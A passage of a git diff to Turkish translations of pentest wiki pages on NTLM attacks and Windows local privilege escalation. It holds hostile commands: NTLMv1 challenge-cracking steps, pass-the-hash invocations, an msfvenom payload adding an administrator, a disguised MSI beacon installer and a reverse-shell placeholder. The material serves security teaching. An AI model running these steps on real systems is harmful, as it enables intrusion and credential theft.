iletim ve kimlik doğrulama yapmak için kullanılabilir. Bu saldırının başarılı bir şekilde sömürülmesi, herhangi bir kimlik doğrulaması yapılmış alan kullanıcı hesabıyla Alan Yöneticisi'ne anında erişim sağlar. ## Windows İçinde @@ -90,7 +90,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share ### E-posta ile -Eğer ele geçirmek istediğiniz bir makineye giriş yapan kullanıcının **e-posta adresini** biliyorsanız, ona **1x1 piksel boyutunda bir resim içeren bir e-posta** gönderebilirsiniz. +Eğer ele geçirmek istediğiniz bir makineye giriş yapan kullanıcının **e-posta adresini** biliyorsanız, ona sadece **1x1 boyutunda bir resim içeren bir e-posta** gönderebilirsiniz. ```html ``` @@ -98,13 +98,13 @@ ve açtığında, kimlik doğrulamaya çalışacaktır. ### MitM -Eğer bir bilgisayara MitM saldırısı gerçekleştirebilirseniz ve onun göreceği bir sayfaya HTML enjekte ederseniz, sayfaya aşağıdaki gibi bir resim enjekte etmeyi deneyebilirsiniz: +Eğer bir bilgisayara MitM saldırısı gerçekleştirebilir ve bir sayfaya HTML enjekte edebilirseniz, sayfada aşağıdaki gibi bir görüntü enjekte etmeyi deneyebilirsiniz: ```html ``` ## NTLMv1 Kırma Eğer [NTLMv1 zorluklarını yakalayabilirseniz, onları nasıl kıracağınızı buradan okuyun](../ntlm/index.html#ntlmv1-attack).\ -&#xNAN;_RNTLMv1'i kırmak için Responder zorluğunu "1122334455667788" olarak ayarlamanız gerektiğini unutmayın._ +_Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index f32cd11b6..358ecac9a 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -46,18 +46,18 @@ Olası değerler: ``` ## Temel NTLM Alan Kimlik Doğrulama Şeması -1. **Kullanıcı** **kimlik bilgilerini** tanıtır -2. İstemci makinesi **kimlik doğrulama isteği gönderir** ve **alan adını** ve **kullanıcı adını** gönderir +1. **Kullanıcı** kimlik bilgilerini **girer** +2. İstemci makine **kimlik doğrulama isteği gönderir** ve **alan adını** ve **kullanıcı adını** gönderir 3. **Sunucu** **meydan okuma** gönderir -4. **İstemci**, **şifreyi** anahtar olarak kullanarak **meydan okumayı** **şifreler** ve yanıt olarak gönderir +4. **İstemci**, şifre hash'ini anahtar olarak kullanarak **meydan okumayı şifreler** ve yanıt olarak gönderir 5. **Sunucu**, **Alan denetleyicisine** **alan adı, kullanıcı adı, meydan okuma ve yanıt** gönderir. Eğer **yapılandırılmış bir Active Directory yoksa** veya alan adı sunucunun adıysa, kimlik bilgileri **yerel olarak kontrol edilir**. 6. **Alan denetleyicisi her şeyin doğru olup olmadığını kontrol eder** ve bilgileri sunucuya gönderir -**Sunucu** ve **Alan Denetleyicisi**, **Netlogon** sunucusu aracılığıyla **Güvenli Kanal** oluşturabilir çünkü Alan Denetleyicisi sunucunun şifresini bilmektedir (bu **NTDS.DIT** veritabanının içindedir). +**Sunucu** ve **Alan Denetleyicisi**, **Netlogon** sunucusu aracılığıyla **Güvenli Kanal** oluşturabilir çünkü Alan Denetleyicisi sunucunun şifresini bilmektedir (bu, **NTDS.DIT** veritabanının içindedir). ### Yerel NTLM Kimlik Doğrulama Şeması -Kimlik doğrulama, **önceki** ile aynıdır ancak **sunucu**, **SAM** dosyasında kimlik doğrulama yapmaya çalışan **kullanıcının hash'ini** bilmektedir. Bu nedenle, Alan Denetleyicisi'nden istemek yerine, **sunucu kendisi** kullanıcının kimlik doğrulayıp doğrulamayacağını kontrol edecektir. +Kimlik doğrulama, **önceki** ile aynıdır ancak **sunucu**, **SAM** dosyasında kimlik doğrulama yapmaya çalışan **kullanıcının hash'ini** bilmektedir. Bu nedenle, Alan Denetleyicisinden istemek yerine, **sunucu kendisi** kullanıcının kimlik doğrulayıp doğrulamayacağını kontrol edecektir. ### NTLMv1 Meydan Okuması @@ -71,17 +71,17 @@ Kimlik doğrulama, **önceki** ile aynıdır ancak **sunucu**, **SAM** dosyasın - 3 parça **ayrı ayrı saldırıya** uğrayabilir ve NT hash'i bulunabilir - **DES kırılabilir** - 3. anahtar her zaman **5 sıfırdan** oluşur. -- **Aynı meydan okuma** verildiğinde **yanıt** da **aynı** olacaktır. Bu nedenle, kurbanınıza **"1122334455667788"** dizesini **meydan okuma** olarak verebilir ve yanıtı **önceden hesaplanmış gökkuşağı tabloları** kullanarak saldırabilirsiniz. +- **Aynı meydan okuma** verildiğinde **yanıt** da **aynı** olacaktır. Bu nedenle, kurbanınıza **"1122334455667788"** dizesini **meydan okuma** olarak verebilir ve yanıtı **önceden hesaplanmış rainbow tabloları** kullanarak saldırabilirsiniz. ### NTLMv1 Saldırısı -Günümüzde, yapılandırılmış Sınırsız Delegasyon ile ortam bulmak giderek daha az yaygın hale geliyor, ancak bu, **yapılandırılmış bir Yazıcı Spooler hizmetini** **istismar edemeyeceğiniz** anlamına gelmez. +Günümüzde, yapılandırılmış Kısıtlanmamış Delegasyon ile ortamlar bulmak giderek daha az yaygın hale geliyor, ancak bu, yapılandırılmış bir Yazıcı Spooler hizmetini **istismar edemeyeceğiniz** anlamına gelmez. -Zaten AD'de sahip olduğunuz bazı kimlik bilgilerini/seansları kullanarak **yazıcıdan bazı** **kontrolünüz altındaki** **sunucuya kimlik doğrulaması yapmasını isteyebilirsiniz**. Ardından, `metasploit auxiliary/server/capture/smb` veya `responder` kullanarak **kimlik doğrulama meydan okumasını 1122334455667788** olarak ayarlayabilir, kimlik doğrulama girişimini yakalayabilir ve eğer **NTLMv1** kullanılarak yapılmışsa, **kırabilirsiniz**.\ -Eğer `responder` kullanıyorsanız, **kimlik doğrulamayı** **düşürmek** için `--lm` bayrağını **kullanmayı** deneyebilirsiniz.\ -&#xNAN;_NBu teknik için kimlik doğrulamanın NTLMv1 kullanılarak gerçekleştirilmesi gerektiğini unutmayın (NTLMv2 geçerli değildir)._ +AD'de zaten sahip olduğunuz bazı kimlik bilgilerini/oturumları kullanarak yazıcıdan **bir ana bilgisayara karşı kimlik doğrulaması yapmasını isteyebilirsiniz**. Ardından, `metasploit auxiliary/server/capture/smb` veya `responder` kullanarak **kimlik doğrulama meydan okumasını 1122334455667788** olarak ayarlayabilir, kimlik doğrulama girişimini yakalayabilir ve eğer **NTLMv1** kullanılarak yapılmışsa, **kırabilirsiniz**.\ +Eğer `responder` kullanıyorsanız, **kimlik doğrulamayı düşürmek için `--lm` bayrağını kullanmayı** deneyebilirsiniz.\ +_Bu teknik için kimlik doğrulamanın NTLMv1 kullanılarak gerçekleştirilmesi gerektiğini unutmayın (NTLMv2 geçerli değildir)._ -Yazıcının kimlik doğrulama sırasında bilgisayar hesabını kullanacağını ve bilgisayar hesaplarının **uzun ve rastgele şifreler** kullandığını unutmayın; bu nedenle, muhtemelen yaygın **sözlükler** kullanarak **kırmanız mümkün olmayacaktır**. Ancak **NTLMv1** kimlik doğrulaması **DES** kullanır ([daha fazla bilgi burada](#ntlmv1-challenge)), bu nedenle DES'i kırmaya özel bazı hizmetleri kullanarak bunu kırabileceksiniz (örneğin [https://crack.sh/](https://crack.sh) veya [https://ntlmv1.com/](https://ntlmv1.com) kullanabilirsiniz). +Yazıcının kimlik doğrulama sırasında bilgisayar hesabını kullanacağını ve bilgisayar hesaplarının **uzun ve rastgele şifreler** kullandığını unutmayın; bu nedenle, muhtemelen yaygın **sözlükler** kullanarak **kırmanız** mümkün olmayacaktır. Ancak **NTLMv1** kimlik doğrulaması **DES** kullanır ([daha fazla bilgi burada](#ntlmv1-challenge)), bu nedenle DES'i kırmaya özel bazı hizmetleri kullanarak bunu kırabileceksiniz (örneğin [https://crack.sh/](https://crack.sh) veya [https://ntlmv1.com/](https://ntlmv1.com) kullanabilirsiniz). ### Hashcat ile NTLMv1 Saldırısı @@ -135,7 +135,7 @@ DESKEY2: bcba83e6895b9d echo b55d6d04e67926>>des.cand echo bcba83e6895b9d>>des.cand ``` -Artık kırılmış des anahtarlarını NTLM hash'inin parçalarına dönüştürmek için hashcat-utilities kullanmamız gerekiyor: +Artık kırılmış des anahtarlarını NTLM hash'inin parçalarına dönüştürmek için hashcat-utilities'i kullanmamız gerekiyor: ```bash ./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753 b4b9b02e6f09a9 # this is part 1 @@ -157,16 +157,16 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c **Meydan okuma uzunluğu 8 bayttır** ve **2 yanıt gönderilir**: Biri **24 bayt** uzunluğundadır ve **diğerinin** uzunluğu **değişkendir**. -**İlk yanıt**, **HMAC_MD5** kullanarak **istemci ve alan** tarafından oluşturulan **dizgeyi** şifreleyerek oluşturulur ve **anahtar** olarak **NT hash**'in **MD4** hash'i kullanılır. Ardından, **sonuç**, **meydan okumayı** şifrelemek için **HMAC_MD5** kullanarak **anahtar** olarak kullanılacaktır. Bunun için **8 baytlık bir istemci meydan okuması eklenecektir**. Toplam: 24 B. +**İlk yanıt**, **HMAC_MD5** kullanarak **istemci ve alan** tarafından oluşturulan **diziyi** şifreleyerek oluşturulur ve **anahtar** olarak **NT hash**'in **MD4** hash'i kullanılır. Ardından, **sonuç**, **meydan okumayı** şifrelemek için **HMAC_MD5** kullanarak **anahtar** olarak kullanılacaktır. Buna, **8 baytlık bir istemci meydan okuması eklenecektir**. Toplam: 24 B. **İkinci yanıt**, **birkaç değer** (yeni bir istemci meydan okuması, **tekrar saldırılarını** önlemek için bir **zaman damgası**...) kullanılarak oluşturulur. -Eğer başarılı bir kimlik doğrulama sürecini yakalamış bir **pcap**'iniz varsa, alan, kullanıcı adı, meydan okuma ve yanıt almak ve şifreyi kırmayı denemek için bu kılavuzu takip edebilirsiniz: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) +Eğer başarılı bir kimlik doğrulama sürecini yakalamış bir **pcap**'iniz varsa, alan, kullanıcı adı, meydan okuma ve yanıt almak için bu kılavuzu takip edebilir ve şifreyi kırmayı deneyebilirsiniz: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) ## Pass-the-Hash **Kurbanın hash'ine sahip olduğunuzda**, onu **taklit etmek** için kullanabilirsiniz.\ -O **hash** ile **NTLM kimlik doğrulaması gerçekleştirecek** bir **araç** kullanmanız gerekir, **ya da** yeni bir **oturum açma** oluşturup o **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması gerçekleştirildiğinde**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır. +Bu **hash** ile **NTLM kimlik doğrulaması gerçekleştirecek** bir **araç** kullanmalısınız, **ya da** yeni bir **oturum açma** oluşturup **LSASS** içine o **hash'i** **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması gerçekleştirildiğinde**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır. **Lütfen, Pass-the-Hash saldırılarını Bilgisayar hesapları kullanarak da gerçekleştirebileceğinizi unutmayın.** @@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff ``` #### Invoke-TheHash -Bu fonksiyon **diğerlerinin karışımıdır**. **Birden fazla host** geçirebilir, bazılarını **hariç tutabilir** ve kullanmak istediğiniz **seçeneği** **seçebilirsiniz** (_SMBExec, WMIExec, SMBClient, SMBEnum_). **SMBExec** ve **WMIExec**'den **herhangi birini** seçerseniz ancak _**Command**_ parametresi vermezseniz, sadece **yeterli izinlere** sahip olup olmadığınızı **kontrol eder**. +Bu fonksiyon **diğerlerinin hepsinin karışımıdır**. **Birden fazla host** geçirebilir, bazılarını **hariç tutabilir** ve kullanmak istediğiniz **seçeneği** **seçebilirsiniz** (_SMBExec, WMIExec, SMBClient, SMBEnum_). **SMBExec** ve **WMIExec**'den **herhangi birini** seçerseniz ancak _**Command**_ parametresi vermezseniz, sadece **yeterli izinlere** sahip olup olmadığınızı **kontrol eder**. ``` Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 ``` @@ -236,7 +236,7 @@ wce.exe -s ::: ## Bir Windows Anahtarından Kimlik Bilgilerini Çıkarma -**Bir Windows anahtarından kimlik bilgilerini nasıl elde edeceğiniz hakkında daha fazla bilgi için bu sayfayı okumalısınız.** +**Bir Windows anahtarından kimlik bilgilerini nasıl elde edeceğiniz hakkında daha fazla bilgi için** [**bu sayfayı okumalısınız**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.** ## NTLM Relay ve Responder @@ -248,6 +248,6 @@ wce.exe -s ::: ## Bir ağ yakalamasından NTLM zorluklarını ayrıştırma -**Bunu kullanabilirsiniz** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) +**Şunu kullanabilirsiniz:** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index fdde3fe61..79005e461 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,47 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -### **Windows yerel yetki yükseltme vektörlerini aramak için en iyi araç:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) - -## Başlangıç Windows Teorisi - -### Erişim Jetonları - -**Windows Erişim Jetonlarının ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okuyun:** - -{{#ref}} -access-tokens.md -{{#endref}} - -### ACL'ler - DACL'ler/SACL'ler/ACE'ler - -**ACL'ler - DACL'ler/SACL'ler/ACE'ler hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol edin:** - -{{#ref}} -acls-dacls-sacls-aces.md -{{#endref}} - -### Bütünlük Seviyeleri - -**Windows'ta bütünlük seviyelerinin ne olduğunu bilmiyorsanız, devam etmeden önce aşağıdaki sayfayı okumalısınız:** - -{{#ref}} -integrity-levels.md -{{#endref}} - -## Windows Güvenlik Kontrolleri - -Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalıştırmanızı veya hatta **etkinliklerinizi tespit etmenizi** **önleyebilecek** farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce, aşağıdaki **sayfayı okumalı** ve tüm bu **savunma** **mekanizmalarını** **listelemelisiniz**: - -{{#ref}} -../authentication-credentials-uac-and-efs/ -{{#endref}} - -## Sistem Bilgisi - -### Sürüm bilgisi listeleme - -Windows sürümünün bilinen bir açığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin). +### **Windows yerel yetki yükseltme vektörlerini aramak ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -79,7 +39,7 @@ Bu [site](https://msrc.microsoft.com/update-guide/vulnerability), Microsoft güv ### Ortam -Env değişkenlerinde herhangi bir kimlik bilgisi/juicy bilgi kaydedildi mi? +Herhangi bir kimlik bilgisi/Çekici bilgi çevre değişkenlerinde kaydedildi mi? ```bash set dir env: @@ -127,7 +87,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Bir scriptin yürütülmesinin tam etkinlik ve içerik kaydı tutulur, her kod bloğunun çalıştığı sırada belgelenmesini sağlar. Bu süreç, her etkinliğin kapsamlı bir denetim izini korur, bu da adli tıp ve kötü niyetli davranışları analiz etmek için değerlidir. Yürütme anında tüm etkinlikleri belgeleyerek, süreç hakkında ayrıntılı bilgiler sunar. +Bir scriptin yürütülmesinin tam etkinlik ve içerik kaydı tutulur, böylece her kod bloğu çalıştıkça belgelenir. Bu süreç, her etkinliğin kapsamlı bir denetim izini korur, bu da adli tıp ve kötü niyetli davranışları analiz etmek için değerlidir. Yürütme anında tüm etkinlikleri belgeleyerek, süreç hakkında ayrıntılı bilgiler sağlanır. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging @@ -180,15 +140,15 @@ CTX_WSUSpect_White_Paper (1).pdf [**Tam raporu burada okuyun**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ Temelde, bu hatanın sömürdüğü kusur şudur: -> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipsek ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahibiz. +> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipsek ve Windows Güncellemeleri Internet Explorer ayarlarında yapılandırılan proxy'i kullanıyorsa, o zaman kendi trafiğimizi yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahibiz. > -> Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığı için, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifikada bir güven ilk kullanımda doğrulama türü uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adına sahipse, hizmet tarafından kabul edilecektir. +> Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığından, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifikada bir ilk kullanımda güven mekanizması uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adı varsa, hizmet tarafından kabul edilecektir. Bu güvenlik açığını [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) aracıyla (serbest bırakıldığında) sömürebilirsiniz. ## KrbRelayUp -Windows **domain** ortamlarında belirli koşullar altında bir **yerel ayrıcalık yükseltme** güvenlik açığı bulunmaktadır. Bu koşullar, **LDAP imzasının zorunlu olmadığı,** kullanıcıların **Kaynak Tabanlı Kısıtlı Delegasyon (RBCD)** yapılandırmalarına izin veren kendi haklarına sahip olduğu ve kullanıcıların domain içinde bilgisayar oluşturma yeteneğine sahip olduğu ortamlardır. Bu **gereksinimlerin** varsayılan ayarlarla karşılandığını belirtmek önemlidir. +Windows **domain** ortamlarında belirli koşullar altında bir **yerel ayrıcalık yükseltme** güvenlik açığı bulunmaktadır. Bu koşullar, **LDAP imzasının zorunlu olmadığı,** kullanıcıların **Kaynak Tabanlı Kısıtlı Delegasyon (RBCD)** yapılandırmalarına izin veren kendi haklarına sahip olduğu ve kullanıcıların domain içinde bilgisayarlar oluşturma yeteneğine sahip olduğu ortamlardır. Bu **gereksinimlerin** varsayılan ayarlarla karşılandığını belirtmek önemlidir. **Sömürüyü** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) adresinde bulabilirsiniz. @@ -218,7 +178,7 @@ Sadece oluşturulan ikili dosyayı çalıştırarak ayrıcalıkları artırın. ### MSI Wrapper -Bu araçları kullanarak bir MSI wrapper nasıl oluşturulacağını öğrenmek için bu eğitimi okuyun. Sadece **komut satırlarını** **çalıştırmak** istiyorsanız, bir "**.bat**" dosyasını sarmalayabileceğinizi unutmayın. +Bu araçları kullanarak bir MSI wrapper nasıl oluşturulacağını öğrenmek için bu eğitimi okuyun. Sadece **komut satırlarını** **çalıştırmak** istiyorsanız bir "**.bat**" dosyasını sarmalayabileceğinizi unutmayın. {{#ref}} msi-wrapper.md @@ -235,10 +195,10 @@ create-msi-with-wix.md - **Cobalt Strike** veya **Metasploit** ile `C:\privesc\beacon.exe` konumunda **yeni bir Windows EXE TCP yükü** oluşturun. - **Visual Studio**'yu açın, **Yeni bir proje oluştur** seçeneğini seçin ve arama kutusuna "installer" yazın. **Setup Wizard** projesini seçin ve **İleri**'ye tıklayın. - Projeye **AlwaysPrivesc** gibi bir isim verin, konum için **`C:\privesc`** kullanın, **çözümü ve projeyi aynı dizine yerleştir** seçeneğini seçin ve **Oluştur**'a tıklayın. -- 4 adımın 3. adımına (dahil edilecek dosyaları seçin) gelene kadar **İleri**'ye tıklamaya devam edin. **Ekle**'ye tıklayın ve yeni oluşturduğunuz Beacon yükünü seçin. Ardından **Tamamla**'ya tıklayın. +- **Dosyaları dahil etmek için** 4 adımın 3. adımına gelene kadar **İleri**'ye tıklamaya devam edin. **Ekle**'ye tıklayın ve yeni oluşturduğunuz Beacon yükünü seçin. Ardından **Tamamla**'ya tıklayın. - **Çözüm Gezgini**'nde **AlwaysPrivesc** projesini vurgulayın ve **Özellikler**'de **TargetPlatform**'u **x86**'dan **x64**'e değiştirin. -- Yüklenen uygulamanın daha meşru görünmesini sağlayabilecek **Yazar** ve **Üretici** gibi değiştirebileceğiniz diğer özellikler de vardır. -- Projeye sağ tıklayın ve **Görünüm > Özel Eylemler**'i seçin. +- Yüklenen uygulamanın daha meşru görünmesini sağlayacak **Yazar** ve **Üretici** gibi değiştirebileceğiniz diğer özellikler de vardır. +- Projeye sağ tıklayın ve **Görüntüle > Özel Eylemler**'i seçin. - **Kurulum**'a sağ tıklayın ve **Özel Eylem Ekle**'yi seçin. - **Uygulama Klasörü**'ne çift tıklayın, **beacon.exe** dosyanızı seçin ve **Tamam**'a tıklayın. Bu, yükleyici çalıştırıldığında beacon yükünün hemen çalıştırılmasını sağlayacaktır. - **Özel Eylem Özellikleri** altında **Run64Bit**'i **True** olarak değiştirin. @@ -277,14 +237,14 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Eğer aktifse, **düz metin şifreler LSASS** (Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti) içinde saklanır.\ +Eğer aktifse, **düz metin şifreler LSASS** (Yerel Güvenlik Otoritesi Alt Sistemi Servisi) içinde saklanır.\ [**WDigest hakkında daha fazla bilgi bu sayfada**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Koruması -**Windows 8.1** ile birlikte, Microsoft, sistemin güvenliğini artırmak için Güvenlik Otoritesi'nin (LSA) bellek okuma veya kod enjekte etme girişimlerini **engellemek** amacıyla geliştirilmiş koruma sağladı.\ +**Windows 8.1** ile birlikte, Microsoft, sistemin güvenliğini artırmak için Güvenlik Yerel Otoritesi (LSA) için geliştirilmiş koruma sundu ve **güvensiz** süreçlerin **belleğini okuma** veya kod enjekte etme girişimlerini **engelledi**.\ [**LSA Koruması hakkında daha fazla bilgi burada**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL @@ -361,7 +321,7 @@ powershell -command "Get-Clipboard" ### Dosya ve Klasör İzinleri Öncelikle, süreçleri listelemek **sürecin komut satırında şifreleri kontrol edin**.\ -Bazı çalışan ikili dosyaları **üzerine yazıp yazamayacağınızı** veya ikili dosya klasöründe yazma izinlerinizin olup olmadığını kontrol edin, olası [**DLL Hijacking saldırılarını**](dll-hijacking/index.html) istismar etmek için: +Bazı çalışan ikili dosyaları **üst üste yazıp yazamayacağınızı** veya ikili dosya klasöründe yazma izinlerinizin olup olmadığını kontrol edin, olası [**DLL Hijacking saldırılarını**](dll-hijacking/index.html) istismar etmek için: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -436,7 +396,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version Eğer bu hatayı alıyorsanız (örneğin SSDPSRV ile): _Sistem hatası 1058 oluştu._\ -&#xNAN;_Thizmet başlatılamıyor, ya devre dışı olduğu ya da ona bağlı etkin bir cihaz olmadığı için._ +_The servis başlatılamıyor, ya devre dışı olduğu ya da ona bağlı etkin bir cihaz olmadığı için._ Bunu etkinleştirmek için kullanabilirsiniz ```bash @@ -543,19 +503,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```powershell gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Bu güvenlik açığını tespit edebilir ve istismar edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` Metasploit ile manuel olarak bir hizmet ikili dosyası oluşturabilirsiniz: +**Bu zafiyeti tespit edebilir ve istismar edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` Metasploit ile manuel olarak bir hizmet ikili dosyası oluşturabilirsiniz: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Recovery Actions -Windows, bir hizmet başarısız olursa alınacak eylemleri belirtmeye olanak tanır. Bu özellik, bir ikili dosyaya işaret edecek şekilde yapılandırılabilir. Eğer bu ikili dosya değiştirilebilir ise, ayrıcalık yükseltme mümkün olabilir. Daha fazla ayrıntı için [official documentation]() adresine bakabilirsiniz. +Windows, bir hizmet başarısız olursa alınacak eylemleri belirtmeye olanak tanır. Bu özellik, bir ikili dosyaya işaret edecek şekilde yapılandırılabilir. Eğer bu ikili dosya değiştirilebilir ise, ayrıcalık yükseltme mümkün olabilir. Daha fazla ayrıntı [resmi belgede]() bulunabilir. ## Applications ### Installed Applications -**binaries** (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **folders** ([DLL Hijacking](dll-hijacking/index.html)) izinlerini kontrol edin. +**İkili dosyaların izinlerini** kontrol edin (belki birini değiştirebilir ve ayrıcalıkları yükseltebilirsiniz) ve **klasörlerin** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -566,7 +526,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Yazma İzinleri -Bazı özel dosyaları okumak için bir yapılandırma dosyasını değiştirebilir misiniz veya bir Yönetici hesabı (schedtasks) tarafından çalıştırılacak bir ikili dosyayı değiştirebilir misiniz kontrol edin. +Bazı yapılandırma dosyalarını özel bir dosyayı okumak için değiştirebilir misiniz veya bir Yönetici hesabı (schedtasks) tarafından çalıştırılacak bir ikili dosyayı değiştirebilir misiniz kontrol edin. Sistemde zayıf klasör/dosya izinlerini bulmanın bir yolu: ```bash @@ -634,7 +594,7 @@ net share #Check current shares ``` ### hosts dosyası -Hosts dosyasında hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin. +hosts dosyasında hardcoded olarak bulunan diğer bilinen bilgisayarları kontrol edin ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -662,7 +622,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### Firewall Kuralları -[**Firewall ile ilgili komutlar için bu sayfayı kontrol edin**](../basic-cmd-for-pentesters.md#firewall) **(kuralları listele, kurallar oluştur, kapat, kapat...)** +[**Firewall ile ilgili komutlar için bu sayfayı kontrol edin**](../basic-cmd-for-pentesters.md#firewall) **(kuralları listele, kurallar oluştur, kapat, aç...)** Daha fazla [ağ numaralandırma komutları burada](../basic-cmd-for-pentesters.md#network) @@ -671,16 +631,16 @@ Daha fazla [ağ numaralandırma komutları burada](../basic-cmd-for-pentesters.m C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -Binary `bash.exe` ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` içinde bulunabilir. +Binary `bash.exe` ayrıca `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` konumunda bulunabilir. -Eğer root kullanıcıya erişirseniz, herhangi bir portta dinleme yapabilirsiniz (ilk kez `nc.exe` ile bir portta dinleme yaptığınızda, GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilip verilmeyeceğini soracaktır). +Eğer root kullanıcısı olursanız, herhangi bir portta dinleme yapabilirsiniz (ilk kez `nc.exe` ile bir portta dinleme yaptığınızda, GUI üzerinden `nc`'nin güvenlik duvarı tarafından izin verilip verilmeyeceğini soracaktır). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -Bash'i kök olarak kolayca başlatmak için `--default-user root` deneyebilirsiniz. +Kök olarak bash'i kolayca başlatmak için `--default-user root` deneyebilirsiniz. `WSL` dosya sistemini `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` klasöründe 